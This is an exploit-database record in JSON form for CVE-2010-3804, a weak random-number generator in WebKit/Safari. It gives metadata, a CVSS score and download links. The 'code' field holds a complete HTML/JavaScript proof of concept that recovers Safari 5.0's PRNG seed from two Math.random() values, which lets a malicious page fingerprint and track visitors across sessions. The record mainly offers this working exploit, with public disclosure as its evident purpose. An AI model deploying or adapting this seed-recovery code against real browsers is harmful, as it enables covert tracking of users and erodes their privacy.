{"exploit":{"id":"EDB-35006","name":"Apple WebKit - Insufficient Entropy Random Number Generator (2)","description":"Apple WebKit - Insufficient Entropy Random Number Generator (2)","cves":["CVE-2010-3804"],"author":"Amit Klein","published":"2010-11-18","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35006","path":"exploits/windows/remote/35006.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35006.html","vulnerabilities":[{"id":"CVE-2010-3804","state":"PUBLISHED","title":null,"titleSource":null,"description":"The JavaScript implementation in WebKit in Apple Safari before 5.0.3 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1.3 on Mac OS X 10.4, uses a weak algorithm for generating values of random numbers, which makes it easier for remote attackers to track a user by predicting a value, a related issue to CVE-2008-5913 and CVE-2010-3171.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-3804","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-3804"},"updatedAt":"2024-08-07T03:26:11.092Z","retrievedAt":"2026-11-26T12:46:16.163Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35006.png?v=2","url":"https://exploitbin.com/exploits/EDB-35006","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35006/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35006/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nsource: https://web.archive.org/web/2010/https://www.securityfocus.com/bid/44952/info\n\nWebKit is prone to a random-number-generator weakness.\n\nAttackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.\n\nSuccessful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.\n\nNOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.\n-->\n\n<html>\n<body>\n<script>\ndocument.write(\"userAgent: \"+navigator.userAgent);\n</script>\n<br>\n<br>\n<div id=\"foo\"></div>\n<form>\n<input type=\"button\"\n      value=\"Calculate Safari 5.0 (Windows) PRNG seed and mileage\"\n      onClick=\"calc_seed()\">\n</form>\n<script>\nfunction calc_seed()\n{\n      r1=Math.random()*Math.pow(2,32);\n      r2=Math.random()*Math.pow(2,32);\n      H=r1;\n      L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))\n            & 0xFFFFFFFF;\n      // 10000 is just an arbitrary limit to make sure the\n      // algorithm doesn't run into an endless loop on\n      // non-vulnerable browsers\n      for (k=0;k<10000;k++)\n      {\n            L=(L-H) & 0xFFFFFFFF;\n            H=(H-L) & 0xFFFFFFFF;\n            H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16);\n            if ((H^L)==0x49616E42)\n            {\n                  document.getElementById(\"foo\").innerText=\n                        \"PRNG Seed: \"+H+\" \"+\n                        \"(First page rendered: \"+\n                              (new Date(H*1000)).toString()+\")\\n\"+\n                        \"PRNG mileage: \"+k;\n                  return;\n            }\n      }\n      document.getElementById(\"foo\").innerText=\n            \"Could not find seed\\n\"+\n            \"Are you sure it's Safari 5.0 for Windows?\";\n      return;\n}\n</script>\n</body>\n</html>","sha256":"a6e687bfb5bf24545db6912f2e8d401baba58956b0a2f0d4acb0e80c353890a8","bytes":1888,"fetchedAt":"2026-11-26T22:10:05.437Z","encoding":"utf-8 (display only; download retains original bytes)"}